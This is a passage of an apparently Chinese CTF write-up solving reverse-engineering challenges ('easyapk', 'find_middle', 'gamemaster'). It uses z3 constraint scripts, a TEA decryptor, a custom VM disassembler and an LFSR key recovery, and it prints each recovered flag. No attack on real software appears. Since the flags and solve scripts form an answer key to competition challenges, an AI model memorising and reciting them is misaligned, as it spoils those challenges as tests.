v5 = 241935 * flag[1]+ 124128 * flag[0]- 38790036+ 273221 * flag[0]- 27868542
s.add(v5==0)
v6 = -279656 * flag[2]- 199574 * flag[1]- 258130 * flag[8]- 200399 * flag[3]- 173903 * flag[7]+ 175816 * flag[0]- 234569 * flag[6]- 108273 * flag[4]- 222957 * flag[5]+ 128244179
s.add(v6==0)
v6 = - 81541 * flag[1]- 268763 * flag[0]+ 219073 * flag[3]+ 34782 * flag[6]+ 21153 * flag[5]+ 173005 * flag[7]+ 76285 * flag[4]+ 32825 * flag[2]- 13874925
s.add(v6==0)
v6 = 85214 * flag[2]- 268299 * flag[3]- 230981 * flag[1]+ 290772 * flag[5]- 74394 * flag[4]+ 28044 * flag[6]- 242995 * flag[0]+ 50871139
s.add(v6==0)
v7 = -208564 * flag[0] + 81934 * flag[9] - 106641 * flag[7] + 198477 * flag[2] + 154505 * flag[1] + 48440 * flag[5] - 149004 * flag[3] - 108909 * flag[4] - 51714 * flag[10] - 296420 * flag[8] + 263021 * flag[6] + 688726 
s.add(v7==0)
v7 = - 131130 * flag[2] + 224265 * flag[3] + 230702 * flag[0] - 176285 * flag[7] - 274778 * flag[4] + 103848 * flag[8] - 136039 * flag[9] - 241151 * flag[5] + 15542 * flag[6] - 17521 * flag[1] + 41644083
s.add(v7==0)
v8 = 195056 * flag[4]- 15717 * flag[9]- 180214 * flag[6]- 114427 * flag[5]+ 277782 * flag[7]+ 261379 * flag[8]- 225266 * flag[2]+ 107609 * flag[0]+ 259792 * flag[3]+ 270563 * flag[11]+ 205124 * flag[1]+ 138334 * flag[10]+ 103474 * flag[12]- 117027475
s.add(v8==0)
v8 = 189573 * flag[8]+ 64393 * flag[6]+ 231137 * flag[1]+ 145315 * flag[4]- 53938 * flag[10]- 291345 * flag[5]+ 216413 * flag[3]- 204681 * flag[0]- 65519 * flag[9]- 262826 * flag[2]+ 187002 * flag[7]+ 271732 * flag[11]- 38663722
s.add(v8==0)
v9 = 15645 * flag[13] + 276267 * flag[12] + 31190 * flag[5] - 244002 * flag[2] + 81415 * flag[3] - 22940 * flag[10] - 126076 * flag[7] + 8932 * flag[8] + 112153 * flag[4] + 194218 * flag[11] + 197656 * flag[9] - 204463 * flag[0] - 219500 * flag[1] + 19777 * flag[6] - 24531260
s.add(v9==0)
v10 = 279969 * flag[8]- 123977 * flag[4]+ 162094 * flag[0]- 215769 * flag[1]- 18878 * flag[14]- 80292 * flag[11]- 237675 * flag[5]- 222121 * flag[6]+ 269381 * flag[12]+ 153934 * flag[13]- 165380 * flag[10]- 157137 * flag[2]- 186748 * flag[3]+ 170756 * flag[7]- 186932 * flag[9]+ 87264470
s.add(v10==0)
v11 = -87190 * flag[2]- 74836 * flag[1]+ 16892 * flag[9]- 185781 * flag[8]- 12726 * flag[7]+ 85022 * flag[12]+ 232989 * flag[10]+ 68516 * flag[0]- 120254 * flag[6]- 204892 * flag[5]- 65901 * flag[4]- 201087 * flag[13]+ 158612 * flag[11]- 49445 * flag[3]- 181860 * flag[14]- 111015 * flag[15]+ 43646834
s.add(v11==0)
v12 = -170184 * flag[3] - 137671 * flag[4] - 85374 * flag[9] - 73658 * flag[11] + 230891 * flag[13] + 54346 * flag[15] - 280694 * flag[0] + 60411 * flag[2] + 27171 * flag[7] - 50618 * flag[6] + 11843 * flag[10] + 131778 * flag[5] + 13956 * flag[8] - 42562 * flag[12] - 19972 * flag[1] - 145797 * flag[14] - 58717 * flag[16] + 74613584
s.add(v12==0)
v13 = 242475 * flag[16]- 234385 * flag[0]+ 124653 * flag[2]- 287929 * flag[13]- 190916 * flag[12]- 277578 * flag[11]+ 39 * flag[8]- 41625 * flag[6]+ 67262 * flag[5]- 250144 * flag[9]- 70886 * flag[10]- 223492 * flag[15]- 179651 * flag[7]+ 206538 * flag[17]+ 161965 * flag[3]- 146258 * flag[4]+ 167068 * flag[1]+ 196330 * flag[14]+ 76353817
s.add(v13==0)
v14 = 29700 * flag[18]- 60542 * flag[5]+ 274107 * flag[11]+ 154914 * flag[13]- 143185 * flag[12]+ 167424 * flag[2]+ 137439 * flag[8]- 186151 * flag[10]- 77157 * flag[9]- 233090 * flag[6]- 27400 * flag[7]- 76557 * flag[15]- 108002 * flag[17]+ 103161 * flag[14]- 133956 * flag[1]- 219502 * flag[4]- 202897 * flag[0]- 250957 * flag[3]- 119297 * flag[16]+ 100812197
s.add(v14==0)
v15 = -171971 * flag[9]+ 38740 * flag[4]+ -31661 * flag[10]+ -194653 * flag[18]+ -295910 * flag[16]+ 136489 * flag[12]+ 212619 * flag[17]+ 165592 * flag[11]+ 211791 * flag[1]+ 156909 * flag[2]+ -232187 * flag[8]+ -73709 * flag[7]+ 79735 * flag[14]+ 184882 * flag[13]+ 111105 * flag[6]+ 148840 * flag[3]+ -35774 * flag[19]+ -275711 * flag[0] + 135265 * flag[5] - 141221 * flag[15] - 39117122
s.add(v15==0)
v16 = -186514 * flag[17]+ -7791 * flag[2]+ 276755 * flag[11]+ -294815 * flag[14]+ -238763 * flag[15]+ -146099 * flag[5]+ 184977 * flag[16]+ 178413 * flag[1]+ 287303 * flag[3]+ -71946 * flag[10]+ -73771 * flag[9]+ -129032 * flag[18]+ 200202 * flag[20]+ -150509 * flag[6]+ -156625 * flag[13]+ 14093 * flag[7]+ 192584 * flag[12]- 122770 * flag[0]- 255494 * flag[8] + 65 * flag[4] - 108479 * flag[19] + 13521895
s.add(v16==0)
v17 = 210978 * flag[7]+ 300336 * flag[10]+ 207254 * flag[15]+ 216206 * flag[5]+ -63529 * flag[0]+ -274903 * flag[11]+ -10750 * flag[14]+ 25008 * flag[4]+ -100942 * flag[19]+ -104857 * flag[2]+ 266501 * flag[8]+ 229070 * flag[17]+ -234559 * flag[16]+ 298459 * flag[3]+ -172052 * flag[6]+ -98938 * flag[12]+ 66155 * flag[13]+ -84761 * flag[1]+ -283508 * flag[18]+ 288577 * flag[21] - 75407 * flag[20] - 204447 * flag[9] + 4351595
s.add(v17==0)
v18 = -201846 * flag[14]+ 272550 * flag[20]+ 60398 * flag[6]+ 45580 * flag[7]+ 195108 * flag[11]+ 38596 * flag[0]+ 220445 * flag[18]+ -190873 * flag[15]+ 103477 * flag[9]+ 118842 * flag[19]+ 206336 * flag[10]+ -249940 * flag[17]+ -48084 * flag[21]+ 104901 * flag[5]+ -48576 * flag[4]+ 287104 * flag[16]+ -286686 * flag[1]+ -30253 * flag[22]+ 121183 * flag[3]+ 90967 * flag[2]+ -195519 * flag[12] - 129304 * flag[8] + 141188 * flag[13] - 56642147
s.add(v18==0)
v19 = 110609 * flag[4]+ 5913 * flag[21]+ -197578 * flag[7]+ 45127 * flag[18]+ 282426 * flag[13]+ -71019 * flag[16]+ -6980 * flag[11]+ 208216 * flag[15]+ -13544 * flag[20]+ 17852 * flag[8]+ 167833 * flag[12]+ 145568 * flag[17]+ 3610 * flag[19]+ 91985 * flag[1]+ -267402 * flag[5]+ -32355 * flag[14]+ -197823 * flag[23]+ 135525 * flag[2]+ -229424 * flag[22]+ 38093 * flag[10]+ 50167 * flag[6]+ 118713 * flag[9] + 123874 * flag[0] - 89499 * flag[3] - 43090537
s.add(v19==0)
v1 = -164755 * flag[9] + 175470 * flag[8] - 28660 * flag[1] + 7217 * flag[11] - 295102 * flag[4] - 28531 * flag[19] - 106265 * flag[25] - 92750 * flag[10] + 16738 * flag[21] - 231714 * flag[6] + 172042 * flag[24] - 215890 * flag[17] + 199697 * flag[12] - 84235 * flag[7] + 44614 * flag[13] + 75104 * flag[5] - 195843 * flag[0] - 15784 * flag[14] - 131950 * flag[15] - 268167 * flag[16] - 197565 * flag[20] + 24340 * flag[23] + 105130 * flag[2] - 79750 * flag[22] - 264668 * flag[3] + 50329 * flag[18] + 137774797
s.add(v1==0)
v20 = 62119 * flag[17]- 17215 * flag[24]+ 289621 * flag[18]+ 53006 * flag[20]+ 95969 * flag[11]+ 202404 * flag[0]+ 247060 * flag[21]+ 144211 * flag[19]+ 280106 * flag[7]- 126431 * flag[10]- 226837 * flag[12]+ 10463 * flag[23]+ 121257 * flag[13]- 84190 * flag[9]+ 88917 * flag[1]+ 15453 * flag[14]+ 271442 * flag[4]+ 110851 * flag[3]- 231422 * flag[5]+ 176741 * flag[22]+ 266134 * flag[2]- 197327 * flag[6]- 55225 * flag[8] - 265465 * flag[15] + 119612 * flag[16] - 98514358
s.add(v20==0)
v2 = 151924 * flag[25] - 265311 * flag[6] + 107604 * flag[11] - 47851 * flag[24] + 227178 * flag[13] - 162699 * flag[2] + 2171 * flag[20] + 211070 * flag[23] + 94815 * flag[22] + 124760 * flag[16] + 41462 * flag[19] - 277022 * flag[15] - 62501 * flag[26] - 17727 * flag[14] - 257908 * flag[4] - 175112 * flag[21] + 8972 * flag[10] - 71801 * flag[8] - 114724 * flag[5] - 252898 * flag[9] + 161457 * flag[1] - 64461 * flag[0] - 111493 * flag[18] + 200145 * flag[17] - 290075 * flag[3] + 158466 * flag[12]
v21 = v2 - 275262 * flag[7] + 86899519
s.add(v21==0)
v3 = 142850 * flag[18]- 166704 * flag[1]+ 284852 * flag[22]+ 248972 * flag[7]- 76200 * flag[17]+ 261708 * flag[19]+ 91911 * flag[24]+ 22347 * flag[3]+ 76006 * flag[21]+ 256511 * flag[6]- 100052 * flag[14]- 115830 * flag[2]- 93202 * flag[23]+ 248858 * flag[12]- 262669 * flag[10]+ 67895 * flag[5]- 111771 * flag[8]- 132193 * flag[11]- 141512 * flag[13]+ 139406 * flag[27]+ 109646 * flag[16]- 286309 * flag[9]+ 175476 * flag[15] + 138067 * flag[20] + 192825 * flag[25]
s.add(flag[0] == 102)
s.add(flag[1] == 108)
s.add(flag[2] == 97)
s.add(flag[3] == 103)
s.add(flag[4] == 123)
s.add(flag[27] == 125)
s.add(199577 * flag[0] - 63091 * flag[4] + v3 - 285207 * flag[26] - 58820340 + v21 == 0)
print(s.check())
print(s.model())
mod = s.model()
print(''.join([chr(mod[x].as_long()) for x in flag]))

解出来为 flag{U_90t_th3_8451c_53cre7}

easyapk

先拿 d810 去混淆, 接着调试分析逻辑

先解密这一段 tea

#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */
    uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                       /* basic cycle start */
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;  /* set up */
    uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
int main()
{
    //{0x5585A199, 0x7E825D68, 0x944D0039, 0x71726943, 0x6A514306, 0x4B14AD00, 0x64D20D3F, 0x9F37DB15};
    uint32_t v[2] = { 0x5D94AA84, 0x14FA24A0 }, k[4] = { 0x33323130, 0x37363534, 0x62613938 ,0x66656463 };
    uint32_t v1[2] = { 0x2B560210, 0xB69BDD49 };
    uint32_t v2[2] = { 0xAAEFEAD4, 0x4B8CF4C6 };
    uint32_t v3[2] = { 0x97FB8C9, 0xB5EC51D2 };
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    //加密示例
   // encrypt(v, k);
  //  printf("加密后的数据:%x %x\n",v[0],v[1]);
    decrypt(v, k);
    decrypt(v1, k);
    decrypt(v2, k);
    decrypt(v3, k);
    printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);
    return 0;
}

都是可见 ascil,猜测前面经过了 rot13 加密,在线解密一下

find_middle

之后进行常规的 vm 逆向

from pwn import *
f = open('./machine.cfg', 'rb')
d = f.read()
f.close()
vpc = 0
def get_byte():
    global d, vpc
    ret = d[vpc]
    vpc += 1
    return ret
def get_dword():
    global d, vpc
    ret = u32(d[vpc:vpc+4])
    vpc += 4
    return ret
def get_next_vpc():
    global vpc
    if vpc == 0xbd4:
        vpc = 0xbe0
    if vpc == 0xbf1:
        vpc = 0xbfd
    if vpc == 0xc20:
        vpc = 0xc28
    if vpc == 0xbaa:
        vpc = 0xbb5
    if vpc == 0x5bb:
        vpc = 0x5ce
    if vpc == 0xc54:
        vpc = 0xc61
    if vpc == 0xc6c:
        vpc = 0xc78
    if vpc == 0xad0:
        vpc = 0xadf
    if vpc == 0xafa:
        vpc = 0xb04
    if vpc == 0xb24:
        vpc = 0xb2a
    if vpc == 0xb4c:
        vpc = 0xb58
    if vpc == 0xb79:
        vpc = 0xb8c
    if vpc == 0x91:
        vpc = 0x99
    if vpc == 0xc6:
        vpc = 0xcf
    if vpc == 0xfb:
        vpc = 0x105
    if vpc == 0x163:
        vpc = 0x16b
    if vpc == 0x182:
        vpc = 0x18f
    if vpc == 0x349:
        vpc = 0x354
    if vpc == 0x3d9:
        vpc = 0x3e0
    if vpc == 0x7ed:
        vpc = 0x7f9
    if vpc == 0x5f5:
        vpc = 0x601
    if vpc == 0x613:
        vpc = 0x625
    if vpc == 0x1e1:
        vpc = 0x1e9
    if vpc == 0x4f5:
        vpc = 0x503
    if vpc == 0x522:
        vpc = 0x534
    if vpc == 0x54b:
        vpc = 0x557
    if vpc == 0x571:
        vpc = 0x585
    if vpc == 0x649:
        vpc = 0x65c
    if vpc == 0x694:
        vpc = 0x6a3
    if vpc == 0x6b4:
        vpc = 0x6c8
    if vpc == 0x6e3:
        vpc = 0x6ed
    if vpc == 0x71b:
        vpc = 0x72d
    if vpc == 0x776:
        vpc = 0x784
    if vpc == 0x7a5:
        vpc = 0x7ac
    if vpc == 0x7c9:
        vpc = 0x7d6
    if vpc == 0x832:
        vpc = 0x83b
    if vpc == 0x864:
        vpc = 0x86f
    if vpc == 0x8a8:
        vpc = 0x8b9
    if vpc == 0x222:
        vpc = 0x236
    if vpc == 0x24d:
        vpc = 0x25a
    if vpc == 0x28b:
        vpc = 0x29d
    if vpc == 0x2ce:
        vpc = 0x2e0
    if vpc == 0x1b3:
        vpc = 0x1bc
    if vpc == 0x30c:
        vpc = 0x31f
    if vpc == 0x416:
        vpc = 0x429
    if vpc == 0x456:
        vpc = 0x461
    if vpc == 0x47b:
        vpc = 0x48b
    if vpc == 0x4bd:
        vpc = 0x4cb
    if vpc == 0x8e1:
        vpc = 0x8f4
    if vpc == 0x915:
        vpc = 0x925
    if vpc == 0x944:
        vpc = 0x954
    if vpc == 0x97a:
        vpc = 0x98d
    if vpc == 0x9b5:
        vpc = 0x9be
    if vpc == 0x9db:
        vpc = 0x9ee
    if vpc == 0x9fb:
        vpc = 0xa05
    if vpc == 0xa19:
        vpc = 0xa2b
    if vpc == 0xa48:
        vpc = 0xa4e
    if vpc == 0xa55:
        vpc = 0xa6a
    if vpc == 0xa88:
        vpc = 0xa8f
    if vpc == 0xab9:
        vpc = 0xac6
    if vpc == 0xc90:
        vpc = 0xc9d
    if vpc == 0xcb5:
        vpc = 0xcc9
    if vpc == 0xce4:
        vpc = 0xcf6
    if vpc == 0xd1e:
        vpc = 0xd25
    if vpc == 0xd47:
        vpc = 0xd58
def dis_one_fun(pc, end_pc=None):
    print ('void fun_%x(){' %pc)
    global vpc
    vpc = pc
    while True:
        if end_pc:
            if vpc >= end_pc:
                break
        get_next_vpc()
        pc = vpc
        opcode = get_byte()
        opsize = (opcode>>6)&3
        opcode = opcode&0x3f
        if opcode == 0x13:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print ('label_%x: r%d=r%d;' %(pc, r1, r2))
            else:
                imm = get_dword()
                print ('label_%x: r%d=0x%x;' %(pc, r1, imm))
        elif opcode == 0xc:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print ('label_%x: r%d-=r%d;' %(pc, r1, r2))
            else:
                imm = get_dword()
                print ('label_%x: r%d-=0x%x;' %(pc, r1, imm))
        elif opcode == 0x17:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print('label_%x: r%d+=r%d;' % (pc, r1, r2))
            else:
                imm = get_dword()
                print('label_%x: r%d+=0x%x;' % (pc, r1, imm))
        elif opcode == 0:
            r1 = get_byte()
            print('label_%x: push(r%d);' % (pc, r1))
        elif opcode == 0x15:
            r1 = get_byte()
            print('label_%x: r%d += 1;' % (pc, r1))
        elif opcode == 0x14:
            r1 = get_byte()
            print('label_%x: r%d -= 1;' % (pc, r1))
        elif opcode == 0x10:
            imm = get_dword()
            if opsize == 0:
                print('label_%x: goto label_%x;' % (pc, imm))
            elif opsize == 1:
                print('label_%x: if(r13 == 0) goto label_%x;' % (pc, imm))
            elif opsize == 2:
                print('label_%x: if(r13 != 0) goto label_%x;' % (pc, imm))
            elif opsize == 3:
                print('label_%x: if(r13 < 0) goto label_%x;' % (pc, imm))
        elif opcode == 0xb:
            r1 = get_byte()
            if opsize == 0:
                print('label_%x: goto r%d;' % (pc, r1))
            elif opsize == 1:
                print('label_%x: if(r13 == 0) goto r%d;' % (pc, r1))
            elif opsize == 2:
                print('label_%x: if(r13 != 0) goto r%d;' % (pc, r1))
            elif opsize == 3:
                print('label_%x: if(r13 < 0) goto r%d;' % (pc, r1))
        elif opcode == 0x7:
            if opsize == 0:
                r1 = get_byte()
                print('label_%x: call r%d;' % (pc, r1))
            else:
                imm = get_dword()
                print('label_%x: fun_%x();' % (pc, imm))
        elif opcode == 0xe:
            r1 = get_byte()
            r2 = get_byte()
            print('label_%x: r13 = r%d & r%d;' % (pc, r1, r2))
        elif opcode == 5:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print('label_%x: r13 = r%d - r%d;' % (pc, r1, r2))
            else:
                imm = get_dword()
                print('label_%x: r13 = r%d - 0x%x;' % (pc, r1, imm))
        elif opcode == 0x11:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print('label_%x: r%d^=r%d;' % (pc, r1, r2))
            else:
                imm = get_dword()
                print('label_%x: r%d^=0x%x;' % (pc, r1, imm))
        elif opcode == 1:
            r1 = get_byte()
            if opsize == 0:
                r2 = get_byte()
                print('label_%x: r%d |=r%d;' % (pc, r1, r2))
            else:
                imm = get_dword()
                print('label_%x: r%d |=0x%x;' % (pc, r1, imm))
        elif opcode == 0x12:
            r1 = get_byte()
            r2 = get_byte()
            if opsize == 0:
                print('label_%x: r%d=*(unsigned char*)&mem[r%d];' % (pc, r1, r2))
            elif opsize == 1:
                print('label_%x: r%d=*(unsigned short*)&mem[r%d];' % (pc, r1, r2))
            elif opsize == 2:
                print('label_%x: r%d=*(unsigned int*)&mem[r%d];' % (pc, r1, r2))
        elif opcode == 3:
            r1 = get_byte()
            print('label_%x: r%d = pop();' % (pc, r1))
        elif opcode == 0xa:
            print('label_%x: return;' % (pc))
            if end_pc is None:
                break
        elif opcode == 9:
            r1 = get_byte()
            if opsize == 0:
                print ('label_%x: putchar(r%d);' %(pc, r1))
            elif opsize == 1:
                print('label_%x: printf("%%d", r%d);' % (pc, r1))
            elif opsize == 2:
                print('label_%x: printf("%%08x", r%d);' % (pc, r1))
            elif opsize == 3:
                print('label_%x: putchar(mem[r%d]);' % (pc, r1))
        elif opcode == 2:
            r1 = get_byte()
            if opsize == 0:
                print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
            elif opsize == 1:
                print('label_%x: scanf("%%d", &r%d);' % (pc, r1))
            elif opsize == 2:
                print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
            elif opsize == 3:
                print('label_%x: scanf("%%c", &mem[r%d]);' % (pc, r1))
        elif opcode == 6:
            r1 = get_byte()
            r2 = get_byte()
            print ('label_%x: mem[r%d]=r%d;' %(pc, r1, r2))
        elif opcode == 4:
            pass
        elif opcode == 0x16:
            print ('label_%x: exit(0);' %pc)
            break
        else:
            print ('op=%x, pc=%x' %(opcode, vpc-1))
            print (hex(len(d)))
            raise 0
    print ('}')
print ('#include <stdio.h>')
print ('#include <stdlib.h>')
for i in range(14):
    print ('unsigned int r%d = 0;' %i)
print ('unsigned char mem[0x6000];')
print ('''void push(unsigned int r1){
    r12 -= 4;
    *(unsigned int*)&mem[r12] = r1;
}
unsigned int pop()
{
    unsigned int ret = *(unsigned int*)&mem[r12];
    r12 += 4;
    return ret;
}
''')
funs = [0, 0xb3, 0x192, 0x339, 0x406, 0x5d6, 0x62b, 0x6f8, 0x746, 0x785, 0x7d7, 0x7e5, 0x811, 0x844, 0xc8b, 0xd71, 0xd91, 0xc39, 0x4dd, 0xb92]
for fun in funs:
    print ('void fun_%x();' %fun)
dis_one_fun(0)
dis_one_fun(0xb3)
dis_one_fun(0x192, 0x339)
dis_one_fun(0x339)
dis_one_fun(0x406)
dis_one_fun(0x5d6)
dis_one_fun(0x62b)
dis_one_fun(0x6f8)
dis_one_fun(0x746)
dis_one_fun(0x785)
dis_one_fun(0x7d7)
dis_one_fun(0x7e5)
dis_one_fun(0x811, 0x844)
dis_one_fun(0x844)
dis_one_fun(0xc8b)
dis_one_fun(0xd71, 0xd91)
dis_one_fun(0xd91)
dis_one_fun(0xc39)
dis_one_fun(0x4dd)
dis_one_fun(0xb92)
print('''
void main(){
FILE * fp = fopen("./machine.cfg", "rb");
fread(mem, 0x4534, 1, fp);
fclose(fp);
fun_0();
}''')

逆向分析 vm 逻辑,解出 flag{I_f1nd_th3_r34l_s3cr3t}

gamemaster

.net 程序,拿软件打开分析发现有 xor 和 aes

把 message 文件在线解密一下

之后发现里面有一块程序

dump 出来发现是一个 .net 程序 打开发现 check 的代码很清晰

下面是解密脚本:

from z3 import *
flag = [BitVec('x%d' % i, 64) for i in range(3)]
s = Solver()
num = 0
first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20, 145,37, 24, 7,  22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]
KeyStream = [0 for i in range(40)]
for i in range(0,320):
    flag[0] = (((flag[0] >> 29 ^ flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) | flag[0] << 1)
    flag[1] = (((flag[1] >> 30 ^ flag[1] >> 27) & 1) | flag[1] << 1)
    flag[2] = (((flag[2] >> 31 ^ flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2] >> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1)
    KeyStream[num] = (KeyStream[num] << 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 & 1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 & 1)))
    if (i+1) % 8 == 0:
        s.add(first[num] == KeyStream[num])
        # print(KeyStream[num])
        num += 1
print(s.check())
print(s.model())
[ x0 = 156324965, x1 = 868387187, x2 = 3131229747]
array = [156324965, 868387187,  3131229747]
key = [0 for i in range(12)]
for i in range(3):
    for j in range(4):
        key[4*i+j] = array[i] >> j * 8 & 255
s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
for i in range(len(s)):
    print(s[i]^key[i%len(key)],end='')
# Y0u_@re_G3meM3s7er!